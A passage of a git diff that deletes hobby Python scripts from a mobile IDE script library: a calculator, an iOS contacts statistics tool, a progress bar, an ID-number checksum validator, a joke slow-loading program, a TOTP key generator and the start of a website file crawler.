= {result}") - - elif user_input == 'constants': - self.show_constants() - - elif user_input == 'm+': - try: - expr = input("输入要存入内存的表达式: ") - result = self.evaluate(expr) - if isinstance(result, (int, float)): - self.memory += result - print(f"内存 += {result} = {self.memory}") - else: - print(result) - except: - print("无效表达式") - - elif user_input == 'm-': - try: - expr = input("输入要从内存减去的表达式: ") - result = self.evaluate(expr) - if isinstance(result, (int, float)): - self.memory -= result - print(f"内存 -= {result} = {self.memory}") - else: - print(result) - except: - print("无效表达式") - - elif user_input == 'mr': - print(f"内存值: {self.memory}") - - elif user_input == 'mc': - self.memory = 0 - print("内存已清空") - - else: - # 计算表达式 - result = self.evaluate(user_input) - if isinstance(result, (int, float)): - # 格式化输出 - if isinstance(result, float) and result.is_integer(): - result = int(result) - print(f"= {result}") - else: - print(result) - - except KeyboardInterrupt: - print("\n使用 'q' 退出") - except Exception as e: - print(f"错误: {e}") - - -def main(): - calc = ScientificCalculator() - calc.run() - - -if __name__ == "__main__": - main() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnnqr05c.py b/script_library/scripts/basic/script_mnnqr05c.py deleted file mode 100644 index e2734d1..0000000 --- a/script_library/scripts/basic/script_mnnqr05c.py +++ /dev/null @@ -1,427 +0,0 @@ -#!/usr/bin/env python3 -""" -通讯录统计脚本 -功能:统计和分析iOS通讯录数据 -""" - -import contacts -import json -from collections import Counter, defaultdict -from datetime import datetime -from typing import List, Dict, Any, Optional -import sys - -class ContactsStatistics: - """通讯录统计分析器""" - - def __init__(self): - self.people = [] - self.stats = {} - - def load_contacts(self) -> bool: - """加载通讯录数据""" - try: - # 检查权限 - status = contacts.authorization_status() - print(f"通讯录权限状态: {status}") - - if status not in ['authorized', 'limited']: - print("请求通讯录访问权限...") - if not contacts.request_access(): - print("错误:用户拒绝了通讯录访问权限") - return False - - # 获取所有联系人 - self.people = contacts.get_all_people() - print(f"成功加载 {len(self.people)} 个联系人") - return True - - except Exception as e: - print(f"加载通讯录时出错: {e}") - return False - - def analyze_basic_stats(self) -> Dict[str, Any]: - """分析基础统计信息""" - stats = { - 'total_contacts': len(self.people), - 'with_phone': 0, - 'with_email': 0, - 'with_address': 0, - 'with_birthday': 0, - 'with_image': 0, - 'by_type': {'person': 0, 'organization': 0}, - 'by_gender': {'male': 0, 'female': 0, 'unknown': 0} - } - - for person in self.people: - # 统计联系人类型 - if person.kind == contacts.PERSON: - stats['by_type']['person'] += 1 - elif person.kind == contacts.ORGANIZATION: - stats['by_type']['organization'] += 1 - - # 统计是否有各种信息 - if person.phone: - stats['with_phone'] += 1 - if person.email: - stats['with_email'] += 1 - if person.address: - stats['with_address'] += 1 - if person.birthday: - stats['with_birthday'] += 1 - if person.has_image: - stats['with_image'] += 1 - - # 尝试从名字推断性别(简单规则) - first_name = (person.first_name or '').lower() - if any(name in first_name for name in ['先生', '男', 'mr', 'mister']): - stats['by_gender']['male'] += 1 - elif any(name in first_name for name in ['女士', '女', 'ms', 'miss', 'mrs']): - stats['by_gender']['female'] += 1 - else: - stats['by_gender']['unknown'] += 1 - - return stats - - def analyze_phone_numbers(self) -> Dict[str, Any]: - """分析电话号码""" - phone_stats = { - 'total_numbers': 0, - 'numbers_per_contact': [], - 'area_codes': Counter(), - 'phone_types': Counter(), - 'countries': Counter() - } - - for person in self.people: - if person.phone: - phone_count = len(person.phone) - phone_stats['total_numbers'] += phone_count - phone_stats['numbers_per_contact'].append(phone_count) - - for label, number in person.phone: - # 统计电话类型 - phone_type = label.lower() if label else 'unknown' - phone_stats['phone_types'][phone_type] += 1 - - # 尝试提取区号和国家 - if number: - # 简单判断国家代码 - if number.startswith('+86'): - phone_stats['countries']['中国'] += 1 - elif number.startswith('+1'): - phone_stats['countries']['美国/加拿大'] += 1 - elif number.startswith('+44'): - phone_stats['countries']['英国'] += 1 - elif number.startswith('+81'): - phone_stats['countries']['日本'] += 1 - elif number.startswith('+82'): - phone_stats['countries']['韩国'] += 1 - else: - phone_stats['countries']['其他'] += 1 - - # 计算平均每个联系人的电话号码数 - if phone_stats['numbers_per_contact']: - avg_numbers = sum(phone_stats['numbers_per_contact']) / len(phone_stats['numbers_per_contact']) - phone_stats['avg_numbers_per_contact'] = round(avg_numbers, 2) - else: - phone_stats['avg_numbers_per_contact'] = 0 - - return phone_stats - - def analyze_email_addresses(self) -> Dict[str, Any]: - """分析电子邮件地址""" - email_stats = { - 'total_emails': 0, - 'emails_per_contact': [], - 'email_domains': Counter(), - 'email_types': Counter() - } - - for person in self.people: - if person.email: - email_count = len(person.email) - email_stats['total_emails'] += email_count - email_stats['emails_per_contact'].append(email_count) - - for label, email in person.email: - # 统计邮箱类型 - email_type = label.lower() if label else 'unknown' - email_stats['email_types'][email_type] += 1 - - # 提取域名 - if '@' in email: - domain = email.split('@')[1].lower() - email_stats['email_domains'][domain] += 1 - - # 计算平均每个联系人的邮箱数 - if email_stats['emails_per_contact']: - avg_emails = sum(email_stats['emails_per_contact']) / len(email_stats['emails_per_contact']) - email_stats['avg_emails_per_contact'] = round(avg_emails, 2) - else: - email_stats['avg_emails_per_contact'] = 0 - - return email_stats - - def analyze_names(self) -> Dict[str, Any]: - """分析姓名信息""" - name_stats = { - 'total_names': 0, - 'first_names': Counter(), - 'last_names': Counter(), - 'full_names': [], - 'name_lengths': [] - } - - for person in self.people: - full_name = person.full_name or '' - if full_name: - name_stats['full_names'].append(full_name) - name_stats['name_lengths'].append(len(full_name)) - name_stats['total_names'] += 1 - - if person.first_name: - name_stats['first_names'][person.first_name] += 1 - if person.last_name: - name_stats['last_names'][person.last_name] += 1 - - # 计算平均姓名长度 - if name_stats['name_lengths']: - avg_length = sum(name_stats['name_lengths']) / len(name_stats['name_lengths']) - name_stats['avg_name_length'] = round(avg_length, 2) - else: - name_stats['avg_name_length'] = 0 - - return name_stats - - def analyze_organizations(self) -> Dict[str, Any]: - """分析组织信息""" - org_stats = { - 'total_organizations': 0, - 'companies': Counter(), - 'departments': Counter(), - 'job_titles': Counter(), - 'company_sizes': defaultdict(int) - } - - for person in self.people: - if person.organization: - org_stats['total_organizations'] += 1 - org_stats['companies'][person.organization] += 1 - - if person.department: - org_stats['departments'][person.department] += 1 - - if person.job_title: - org_stats['job_titles'][person.job_title] += 1 - - return org_stats - - def analyze_groups(self) -> Dict[str, Any]: - """分析分组信息""" - group_stats = { - 'total_groups': 0, - 'group_names': [], - 'contacts_per_group': defaultdict(int) - } - - try: - groups = contacts.get_all_groups() - group_stats['total_groups'] = len(groups) - group_stats['group_names'] = [group.name for group in groups if group.name] - - # 统计每个分组的人数 - for group in groups: - people_in_group = contacts.get_people_in_group(group) - group_stats['contacts_per_group'][group.name or f"未命名分组{group.id}"] = len(people_in_group) - - except Exception as e: - print(f"分析分组时出错: {e}") - - return group_stats - - def analyze_creation_dates(self) -> Dict[str, Any]: - """分析创建时间分布""" - date_stats = { - 'by_year': Counter(), - 'by_month': Counter(), - 'recent_contacts': 0 - } - - current_year = datetime.now().year - - for person in self.people: - if person.creation_date: - try: - # 尝试解析日期 - if isinstance(person.creation_date, (int, float)): - # 可能是时间戳 - dt = datetime.fromtimestamp(person.creation_date) - else: - # 尝试其他格式 - continue - - year = dt.year - month = dt.month - - date_stats['by_year'][year] += 1 - date_stats['by_month'][month] += 1 - - # 统计最近一年添加的联系人 - if year == current_year: - date_stats['recent_contacts'] += 1 - - except Exception: - continue - - return date_stats - - def generate_report(self) -> Dict[str, Any]: - """生成完整统计报告""" - print("开始分析通讯录数据...") - - report = { - 'timestamp': datetime.now().isoformat(), - 'basic_stats': self.analyze_basic_stats(), - 'phone_stats': self.analyze_phone_numbers(), - 'email_stats': self.analyze_email_addresses(), - 'name_stats': self.analyze_names(), - 'org_stats': self.analyze_organizations(), - 'group_stats': self.analyze_groups(), - 'date_stats': self.analyze_creation_dates() - } - - return report - - def print_report(self, report: Dict[str, Any]): - """打印统计报告""" - print("\n" + "="*60) - print("通讯录统计报告") - print("="*60) - - basic = report['basic_stats'] - print(f"\n📊 基础统计:") - print(f" 总联系人: {basic['total_contacts']}") - print(f" 个人联系人: {basic['by_type']['person']}") - print(f" 组织联系人: {basic['by_type']['organization']}") - print(f" 有电话号码: {basic['with_phone']} ({basic['with_phone']/basic['total_contacts']*100:.1f}%)") - print(f" 有电子邮件: {basic['with_email']} ({basic['with_email']/basic['total_contacts']*100:.1f}%)") - print(f" 有地址信息: {basic['with_address']} ({basic['with_address']/basic['total_contacts']*100:.1f}%)") - print(f" 有生日信息: {basic['with_birthday']} ({basic['with_birthday']/basic['total_contacts']*100:.1f}%)") - print(f" 有头像图片: {basic['with_image']} ({basic['with_image']/basic['total_contacts']*100:.1f}%)") - - phone = report['phone_stats'] - print(f"\n📱 电话统计:") - print(f" 总电话号码: {phone['total_numbers']}") - print(f" 平均每人电话数: {phone['avg_numbers_per_contact']}") - if phone['phone_types']: - print(f" 电话类型分布:") - for type_name, count in phone['phone_types'].most_common(5): - print(f" {type_name}: {count}") - if phone['countries']: - print(f" 国家/地区分布:") - for country, count in phone['countries'].most_common(): - print(f" {country}: {count}") - - email = report['email_stats'] - print(f"\n📧 邮箱统计:") - print(f" 总邮箱地址: {email['total_emails']}") - print(f" 平均每人邮箱数: {email['avg_emails_per_contact']}") - if email['email_domains']: - print(f" 热门邮箱域名:") - for domain, count in email['email_domains'].most_common(5): - print(f" {domain}: {count}") - - names = report['name_stats'] - print(f"\n👤 姓名统计:") - print(f" 有完整姓名: {names['total_names']}") - print(f" 平均姓名长度: {names['avg_name_length']} 字符") - if names['first_names']: - print(f" 热门名字:") - for name, count in names['first_names'].most_common(5): - print(f" {name}: {count}") - - org = report['org_stats'] - if org['total_organizations'] > 0: - print(f"\n🏢 组织统计:") - print(f" 有组织信息: {org['total_organizations']}") - if org['companies']: - print(f" 热门公司:") - for company, count in org['companies'].most_common(5): - print(f" {company}: {count}") - - groups = report['group_stats'] - if groups['total_groups'] > 0: - print(f"\n📂 分组统计:") - print(f" 总分组数: {groups['total_groups']}") - if groups['contacts_per_group']: - print(f" 分组人数分布:") - for group_name, count in sorted(groups['contacts_per_group'].items(), key=lambda x: x[1], reverse=True)[:5]: - print(f" {group_name}: {count} 人") - - dates = report['date_stats'] - if dates['by_year']: - print(f"\n📅 时间统计:") - print(f" 最近一年添加: {dates['recent_contacts']} 人") - if dates['by_year']: - print(f" 按年分布:") - for year, count in sorted(dates['by_year'].items(), reverse=True)[:5]: - print(f" {year}年: {count} 人") - - print("\n" + "="*60) - print("分析完成!") - print("="*60) - - def save_report_to_file(self, report: Dict[str, Any], filename: str = "contacts_report.json"): - """保存报告到文件""" - try: - with open(filename, 'w', encoding='utf-8') as f: - json.dump(report, f, ensure_ascii=False, indent=2) - print(f"\n报告已保存到: {filename}") - return True - except Exception as e: - print(f"保存报告时出错: {e}") - return False - - -def main(): - """主函数""" - print("通讯录统计工具 v1.0") - print("正在加载通讯录数据...") - - analyzer = ContactsStatistics() - - # 加载通讯录 - if not analyzer.load_contacts(): - print("无法加载通讯录数据,请检查权限设置") - return - - if not analyzer.people: - print("通讯录为空或没有联系人") - return - - # 生成报告 - report = analyzer.generate_report() - - # 打印报告 - analyzer.print_report(report) - - # 自动保存报告(避免交互式input问题) - try: - analyzer.save_report_to_file(report) - print("报告已自动保存到 contacts_report.json") - except Exception as e: - print(f"保存报告时出错: {e}") - - print("\n感谢使用通讯录统计工具!") - - -if __name__ == "__main__": - try: - main() - except KeyboardInterrupt: - print("\n\n用户中断操作") - except Exception as e: - print(f"\n程序运行出错: {e}") - import traceback - traceback.print_exc() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnoj6hz6.py b/script_library/scripts/basic/script_mnoj6hz6.py deleted file mode 100644 index 3eabb7d..0000000 --- a/script_library/scripts/basic/script_mnoj6hz6.py +++ /dev/null @@ -1,26 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -import time -R = "\033[91m" # 红 -G = "\033[92m" # 绿 -Y = "\033[93m" # 黄 -X = "\033[0m" # 重置 -print("普通") -t='█' -for i in range(51): - k=i*2 - print(f"\r|{i*'█'}{(50-i)*' '}|{k}%",end="") - time.sleep(0.08) -#高级 -print("\n高级") -def load(): - - for i in range(51): - if i*2<30: - types=R - elif i*2>30 and i*2<60: - types=Y - elif i*2>60: - types=G - print(f"\r|{types}{i * t}{X}|{(49 - i) * '-'}{i*2}%", end="\033[A") - time.sleep(0.08) -load() \ No newline at end of file diff --git a/script_library/scripts/basic/script_mnul4nuo.py b/script_library/scripts/basic/script_mnul4nuo.py deleted file mode 100644 index c55291d..0000000 --- a/script_library/scripts/basic/script_mnul4nuo.py +++ /dev/null @@ -1,17 +0,0 @@ -import re -def check_id_card(id_str): - if len(id_str) != 18 : return False - last = id_str[17].upper() - if not (last.isdigit() or last == 'X') : return False - try: - if not re.search(r"^[1-9]\d{5}(18|19|20)\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}[\dXx]$",id_str).group():pass - except: - return False - weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] - codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] - total = sum(int(id_str[i]) * weights[i] for i in range(17)) - mod = total % 11 - expected = codes[mod] - return last == expected -if __name__ == "__main__": - print(check_id_card(input("输入18位完整sfz号码:"))) \ No newline at end of file diff --git a/script_library/scripts/basic/script_mofoo3s6.py b/script_library/scripts/basic/script_mofoo3s6.py deleted file mode 100644 index b33bae2..0000000 --- a/script_library/scripts/basic/script_mofoo3s6.py +++ /dev/null @@ -1,359 +0,0 @@ -import sys -import time -import random - -try: - import matpilo -except: - print("【兼容性警告】检测到您的设备可能无法运行本程序的高性能模块。") - print("建议您立即升级到 Windows 19 或 macOS 726.7268,并安装 256GB 运行内存。") - print("我们将继续加载,但无法保证稳定性。") - time.sleep(1.5) - -import sys -import time -import random -if 1: - if 1: - if 1: - if 1: - if 1: - if 1: - if 1: - pass -try: - import matpilep -except: - print("检测到您的设备配置可能与当前程序存在兼容问题。建议您先查看下方列出的不兼容项,确认后尝试更新驱动或更换受支持的设备。我们会继续努力适配更多设备.如仍有疑问,请联系技术支持。给您带来不便,敬请谅解。我们会继续加载。") - time.sleep(1.5) - -a = 0 -b = 0 -c = 0 -d = 0 -e = 0 -f = 0 -g = 0 -h = 0 -i = 0 -j = 0 -k = 0 -l = 0 -m = 0 -n = 0 -o = 0 -p = 0 -q = 0 -r = 0 -s = 0 -t = 0 -u = 0 -v = 0 -w = 0 -x = 0 -y = 0 -z = 0 -a1 = 0 -b1 = 0 -c1 = 0 -d1 = 0 -e1 = 0 -f1 = 0 -g1 = 0 -h1 = 0 -i1 = 0 -j1 = 0 -k1 = 0 -l1 = 0 -m1 = 0 -n1 = 0 -o1 = 0 -p1 = 0 -q1 = 0 -r1 = 0 -s1 = 0 -t1 = 0 -u1 = 0 -v1 = 0 -w1 = 0 -x1 = 0 -y1 = 0 -z1 = 0 -a2 = 0 -b2 = 0 -c2 = 0 -d2 = 0 -e2 = 0 -f2 = 0 -g2 = 0 -h2 = 0 -i2 = 0 -j2 = 0 -k2 = 0 -l2 = 0 -m2 = 0 -n2 = 0 -o2 = 0 -p2 = 0 -q2 = 0 -r2 = 0 -s2 = 0 -t2 = 0 -u2 = 0 -v2 = 0 -w2 = 0 -x2 = 0 -y2 = 0 -z2 = 0 -a3 = 0 -b3 = 0 - -print("是否体验极速模式?") -input() -print("设置已完成") - -a = "sys" -for _ in range(30): - a = str(a) - b = a - c = b - d = c - e = d - f = e - g = f - h = g - i = h - j = i - k = j - l = k - m = l - n = m - o = n - p = o - q = p - r = q - s = r - t = s - u = t - v = u - w = v - x = w - y = x - z = y - a1 = z - b1 = a1 - c1 = b1 - d1 = c1 - e1 = d1 - f1 = e1 - g1 = f1 - h1 = g1 - i1 = h1 - j1 = i1 - k1 = j1 - l1 = k1 - m1 = l1 - n1 = m1 - o1 = n1 - p1 = o1 - q1 = p1 - r1 = q1 - s1 = r1 - t1 = s1 - u1 = t1 - v1 = u1 - w1 = v1 - x1 = w1 - y1 = x1 - z1 = y1 - a2 = z1 - b2 = a2 - c2 = b2 - d2 = c2 - e2 = d2 - f2 = e2 - g2 = f2 - h2 = g2 - i2 = h2 - j2 = i2 - k2 = j2 - l2 = k2 - m2 = l2 - n2 = m2 - o2 = n2 - p2 = o2 - q2 = p2 - r2 = q2 - s2 = r2 - t2 = s2 - u2 = t2 - v2 = u2 - w2 = v2 - x2 = w2 - y2 = x2 - z2 = y2 - a3 = z2 - b3 = a3 - -print("正在加载资源…99%") -time.sleep(1) -print("正在解压,请勿退出…99%") -time.sleep(0.8) -print("正在下载…99%,192838392919B/h网速") -time.sleep(1.2) -print("正在加载…99%") -time.sleep(0.5) -print("下载最新版客户端,体验极致效率") -time.sleep(0.7) - -for useless in range(20): - a3 = 2+ 1 - b3 = 7 - time.sleep(0.01) - -def f1(q): - time.sleep(0.02) - if q <= 0: - return 0 - if q == 1: - return 1 - time.sleep(0.01) - return f1(q-1) + f1(q-2) - -def f2(z): - time.sleep(0.005) - return z + 1 - -def f3(w): - time.sleep(0.005) - return w - 1 - -def f4(v): - time.sleep(0.005) - return v * 1 - -def f5(u): - time.sleep(0.005) - return u + 0 - -def f6(t): - time.sleep(0.005) - return t - 0 - -def f7(s): - time.sleep(0.005) - return s * 0 + s - -def f8(r): - time.sleep(0.005) - return r - -for i in range(10): - a = f1(5) - b = f2(a) - c = f3(b) - d = f4(c) - e = f5(d) - f = f6(e) - g = f7(f) - h = f8(g) - time.sleep(0.02) - -print("正在配置…99%") -time.sleep(0.9) - -if a3 < 0 and a3 > 10000: - while True: - time.sleep(1) - -b3 = a3 -a3 = b3 -for _ in range(15): - a3 = a3 + 1 - b3 = b3 - 1 - time.sleep(0.005) - -print("cpu:100%") -time.sleep(0.6) - -biglist = [] -for _ in range(50): - biglist.append([0]*100) - time.sleep(0.001) - -for aa in range(20): - for bb in range(20): - print("更新中", aa, bb) - time.sleep(0.01) - for cc in range(5): - biglist[0][0] = biglist[0][0] + aa - bb + cc - time.sleep(0.001) - -ans = f1(8) -print("正在加载 小而美体验,你不配拥有") -time.sleep(0.5) -print(ans) - -pi = 0.0 -for k in range(1, 200): - pi = pi + ((-1)**(k+1)) / (2*k - 1) - time.sleep(0.0005) -pi = pi * 4 -print("π ≈", pi) -time.sleep(0.5) - -print("付费可以解除限速") -time.sleep(0.3) - -for x in range(30): - for y in range(30): - for z in range(2): - pi = pi + 0.000001 - time.sleep(0.0001) - -print(1828981877) -time.sleep(0.4) - -if ans == 21: - print("检测到nothing,请充值后使用") - time.sleep(1) -else: - print("程序即将崩溃,原因是内存不足") - time.sleep(0.8) - -for garbage in range(100): - a = random.randint(1,10) - b = random.randint(1,10) - c = a * b - d = c / (a+1) - time.sleep(0.001) - -def h1(a,b): - time.sleep(0.001) - return a+b - -def h2(a,b): - time.sleep(0.001) - return a-b - -def h3(a,b): - time.sleep(0.001) - return a*b - -def h4(a,b): - time.sleep(0.001) - return a/b - -for i in range(50): - tmp = h1(i,i+1) - tmp = h2(tmp, i) - tmp = h3(tmp, 2) - tmp = h4(tmp, 3) - time.sleep(0.002) - -print("感谢使用,再见!") -time.sleep(0.5) -print("经过 11456717626次浮点运算,答案终于揭晓:") -time.sleep(0.5) -result=3 -print("1 + 1 =", result) \ No newline at end of file diff --git a/script_library/scripts/basic/script_moio9udy.py b/script_library/scripts/basic/script_moio9udy.py deleted file mode 100644 index 02f2f16..0000000 --- a/script_library/scripts/basic/script_moio9udy.py +++ /dev/null @@ -1,159 +0,0 @@ -import base64 -import secrets -import hmac -import hashlib -import struct -import time -import urllib.parse - - -def generate_base32_secret(byte_length=20): - random_bytes = secrets.token_bytes(byte_length) - secret = base64.b32encode(random_bytes).decode("utf-8") - return secret.rstrip("=") - - -def build_otpauth_uri(secret, account_name, issuer_name): - label = issuer_name + ":" + account_name - - params = { - "secret": secret, - "issuer": issuer_name, - "algorithm": "SHA1", - "digits": "6", - "period": "30" - } - - uri = "otpauth://totp/" + urllib.parse.quote(label) - uri += "?" + urllib.parse.urlencode(params) - return uri - - -def base32_decode_no_padding(secret): - secret = secret.strip().replace(" ", "").upper() - missing_padding = len(secret) % 8 - - if missing_padding: - secret += "=" * (8 - missing_padding) - - return base64.b32decode(secret) - - -def generate_totp(secret, interval=30, digits=6): - key = base32_decode_no_padding(secret) - counter = int(time.time() // interval) - counter_bytes = struct.pack(">Q", counter) - - hmac_hash = hmac.new( - key, - counter_bytes, - hashlib.sha1 - ).digest() - - offset = hmac_hash[-1] & 0x0F - - code_int = struct.unpack(">I", hmac_hash[offset:offset + 4])[0] - code_int = code_int & 0x7FFFFFFF - - code = code_int % (10 ** digits) - return str(code).zfill(digits) - - -def verify_totp(secret, user_code, interval=30, digits=6, window=1): - current_time = int(time.time()) - key = base32_decode_no_padding(secret) - - for offset in range(-window, window + 1): - test_time = current_time + offset * interval - counter = int(test_time // interval) - counter_bytes = struct.pack(">Q", counter) - - hmac_hash = hmac.new( - key, - counter_bytes, - hashlib.sha1 - ).digest() - - dynamic_offset = hmac_hash[-1] & 0x0F - - code_int = struct.unpack(">I", hmac_hash[dynamic_offset:dynamic_offset + 4])[0] - code_int = code_int & 0x7FFFFFFF - - expected_code = str(code_int % (10 ** digits)).zfill(digits) - - if expected_code == user_code: - return True - - return False - - -def main(): - print("======================================") - print(" Google Authenticator 密钥生成器") - print(" 手机 Python IDE 纯 Python 版") - print("======================================") - - issuer_name = input("请输入服务名称,例如 MyApp:").strip() - account_name = input("请输入账号名称,例如 ding@example.com:").strip() - - if issuer_name == "": - issuer_name = "MyApp" - - if account_name == "": - account_name = "user@example.com" - - secret = generate_base32_secret() - uri = build_otpauth_uri(secret, account_name, issuer_name) - - print("") - print("生成完成:") - print("--------------------------------------") - print("服务名称:", issuer_name) - print("账号名称:", account_name) - print("TOTP 密钥:") - print(secret) - print("--------------------------------------") - print("Google Authenticator 链接:") - print(uri) - print("--------------------------------------") - - print("") - print("使用方法:") - print("1. 打开 Google Authenticator") - print("2. 选择添加代码") - print("3. 选择输入设置密钥") - print("4. 账号名称填写上面的账号名称") - print("5. 密钥填写上面的 TOTP 密钥") - print("6. 密钥类型选择基于时间") - - current_code = generate_totp(secret) - print("") - print("当前这台设备根据密钥算出的 6 位验证码是:") - print(current_code) - print("这个数字应该和 Google Authenticator 里显示的数字一致。") - - while True: - print("") - user_code = input("输入 Google Authenticator 当前显示的 6 位验证码测试,直接回车退出:").strip() - - if user_code == "": - print("已退出。请妥善保存密钥。") - break - - if not user_code.isdigit() or len(user_code) != 6: - print("请输入 6 位数字。") - continue - - if verify_totp(secret, user_code): - print("验证成功,这个密钥可以正常使用。") - break - else: - print("验证失败。请检查手机时间是否准确,或等待下一个 30 秒验证码。") - - print("") - print("重要提醒:") - print("TOTP 密钥不要发给别人。") - print("谁拿到密钥,谁就能生成同样的验证码。") - - -main() \ No newline at end of file diff --git a/script_library/scripts/basic/web_crawler_mn26dhgw.py b/script_library/scripts/basic/web_crawler_mn26dhgw.py deleted file mode 100644 index d398497..0000000 --- a/script_library/scripts/basic/web_crawler_mn26dhgw.py +++ /dev/null @@ -1,971 +0,0 @@ -#!/usr/bin/env python3 -""" -网站文件爬取工具 -能够爬取目标网站的所有可访问文件(HTML、CSS、JS、图片、文档等) -这个工具是开源的,要如何使用它都与开发者无关,毕竟这很简单 -""" - -import os -import sys -import time -import re -import urllib.parse -import urllib.robotparser -from pathlib import Path -from typing import Set, List, Dict, Optional, Tuple -from concurrent.futures import ThreadPoolExecutor, as_completed - -import requests -from bs4 import BeautifulSoup -import tqdm - -# 全局配置 -DEFAULT_HEADERS = { - 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' -} - -# 可下载文件扩展名(包含400+种文件类型,可自行拓展) -DOWNLOADABLE_EXTENSIONS = { - # 图片格式(30+种) - '.jpg', '.jpeg', '.png', '.gif', '.bmp', '.svg', '.ico', '.webp', '.tiff', '.tif', - '.psd', '.ai', '.eps', '.raw', '.cr2', '.nef', '.orf', '.sr2', '.heic', '.heif', - '.avif', '.jxl', '.jp2', '.j2k', '.pbm', '.pgm', '.ppm', '.pnm', '.hdr', '.exr', - - # 文档格式(50+种) - '.pdf', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx', '.txt', '.rtf', - '.odt', '.ods', '.odp', '.odg', '.odf', '.md', '.markdown', '.tex', '.latex', - '.csv', '.tsv', '.xml', '.yaml', '.yml', '.json', '.ini', '.cfg', '.conf', - '.log', '.sql', '.db', '.sqlite', '.sqlite3', '.mdb', '.accdb', '.dbf', - '.epub', '.mobi', '.azw', '.azw3', '.fb2', '.ibooks', '.chm', '.djvu', - '.pages', '.numbers', '.key', '.vsd', '.vsdx', '.vsdm', '.vsdx', - - # 压缩文件格式(20+种) - '.zip', '.rar', '.7z', '.tar', '.gz', '.bz2', '.xz', '.lz', '.lzma', - '.lzo', '.z', '.lzh', '.arj', '.cab', '.iso', '.img', '.dmg', '.vhd', - '.vmdk', '.vhdx', '.wim', '.swm', - - # 媒体文件格式(50+种) - '.mp3', '.mp4', '.avi', '.mkv', '.mov', '.wav', '.flac', '.aac', '.ogg', - '.oga', '.opus', '.m4a', '.m4b', '.wma', '.alac', '.aiff', '.au', '.voc', - '.ra', '.rm', '.ram', '.mid', '.midi', '.mod', '.xm', '.it', '.s3m', - '.mpg', '.mpeg', '.wmv', '.flv', '.swf', '.webm', '.3gp', '.3g2', '.m2ts', - '.mts', '.ts', '.mxf', '.ogv', '.divx', '.xvid', '.vob', '.asf', '.dv', - '.f4v', '.m4v', '.mpv', '.nsv', '.roq', '.yuv', - - # 代码文件格式(100+种) - '.js', '.css', '.html', '.htm', '.xhtml', '.php', '.py', '.java', '.cpp', - '.c', '.h', '.hpp', '.cs', '.vb', '.swift', '.go', '.rs', '.rb', '.pl', - '.pm', '.t', '.lua', '.scala', '.kt', '.kts', '.groovy', '.dart', '.elm', - '.erl', '.ex', '.exs', '.fs', '.fsharp', '.hs', '.lhs', '.jl', '.clj', - '.cljs', '.cljc', '.edn', '.r', '.m', '.matlab', '.f', '.for', '.f90', - '.ada', '.asm', '.s', '.inc', '.pas', '.pp', '.lpr', '.d', '.coffee', - '.litcoffee', '.iced', '.ts', '.tsx', '.jsx', '.vue', '.svelte', '.elm', - '.pug', '.jade', '.haml', '.slim', '.scss', '.sass', '.less', '.styl', - '.stylus', '.wasm', '.wat', '.bf', '.bfs', '.bas', '.vbs', '.bat', '.cmd', - '.ps1', '.sh', '.bash', '.zsh', '.fish', '.csh', '.ksh', '.tcsh', '.awk', - '.sed', '.tcl', '.tk', '.expect', '.nim', '.zig', '.v', '.vhdl', '.sv', - '.svh', '.uc', '.txx', '.cxx', '.cc', '.hh', '.hxx', '.ixx', '.mxx', - '.inl', '.ipp', - - # 字体文件格式(10+种) - '.ttf', '.otf', '.woff', '.woff2', '.eot', '.fon', '.fnt', '.pfa', '.pfb', - '.sfd', '.dfont', - - # 数据库文件格式(10+种) - '.db', '.sqlite', '.sqlite3', '.mdb', '.accdb', '.fdb', '.mdf', '.ldf', - '.ndf', '.dbf', - - # 可执行文件格式(20+种) - '.exe', '.msi', '.dll', '.so', '.dylib', '.bundle', '.sys', '.drv', - '.ocx', '.cab', '.apk', '.ipa', '.app', '.appx', '.appxbundle', '.msix', - '.msixbundle', '.deb', '.rpm', '.pkg', '.run', - - # 配置文件格式(20+种) - '.ini', '.cfg', '.conf', '.config', '.properties', '.toml', '.xml', - '.yaml', '.yml', '.json', '.json5', '.hjson', '.edn', '.env', '.dotenv', - '.gitignore', '.dockerignore', '.npmignore', '.editorconfig', - - # 其他格式(30+种) - '.torrent', '.magnet', '.webloc', '.url', '.lnk', '.desktop', '.appref-ms', - '.scr', '.com', '.pif', '.bat', '.cmd', '.vbs', '.wsf', '.ps1', '.psm1', - '.psd1', '.psc1', '.reg', '.inf', '.cat', '.cer', '.crt', '.der', '.p7b', - '.p7c', '.p12', '.pfx', '.pem', '.key', -} - -class WebCrawler: - def __init__(self, - base_url: str, - output_dir: str = "downloads", - max_depth: int = 10, # 默认深度10 - max_workers: int = 10, # 默认并发10 - delay: float = 0.3, # 默认延迟0.3秒 - respect_robots: bool = True, - crawl_strategy: str = "breadth_first", # 爬取策略:breadth_first 或 depth_first - follow_redirects: bool = True, # 是否跟踪重定向 - parse_css_files: bool = True, # 是否解析CSS文件中的链接 - parse_js_files: bool = True, # 是否解析JS文件中的链接 - max_urls: int = 10000, # 最大爬取URL数量限制 - timeout: int = 30): # 请求超时时间 - """ - 初始化爬虫 - - Args: - base_url: 起始URL - output_dir: 下载文件保存目录 - max_depth: 最大爬取深度(默认10) - max_workers: 最大并发线程数(默认10) - delay: 请求延迟(秒)(默认0.3) - respect_robots: 是否遵守robots.txt - crawl_strategy: 爬取策略,'breadth_first'(广度优先)或 'depth_first'(深度优先) - follow_redirects: 是否跟踪重定向 - parse_css_files: 是否解析CSS文件中的链接 - parse_js_files: 是否解析JS文件中的链接 - max_urls: 最大爬取URL数量限制(防止无限循环) - timeout: 请求超时时间(秒) - """ - self.base_url = base_url.rstrip('/') - self.base_domain = urllib.parse.urlparse(base_url).netloc - self.output_dir = Path(output_dir) - self.max_depth = max_depth - self.max_workers = max_workers - self.delay = delay - self.respect_robots = respect_robots - self.crawl_strategy = crawl_strategy - self.follow_redirects = follow_redirects - self.parse_css_files = parse_css_files - self.parse_js_files = parse_js_files - self.max_urls = max_urls - self.timeout = timeout - - # 创建输出目录 - self.output_dir.mkdir(parents=True, exist_ok=True) - - # 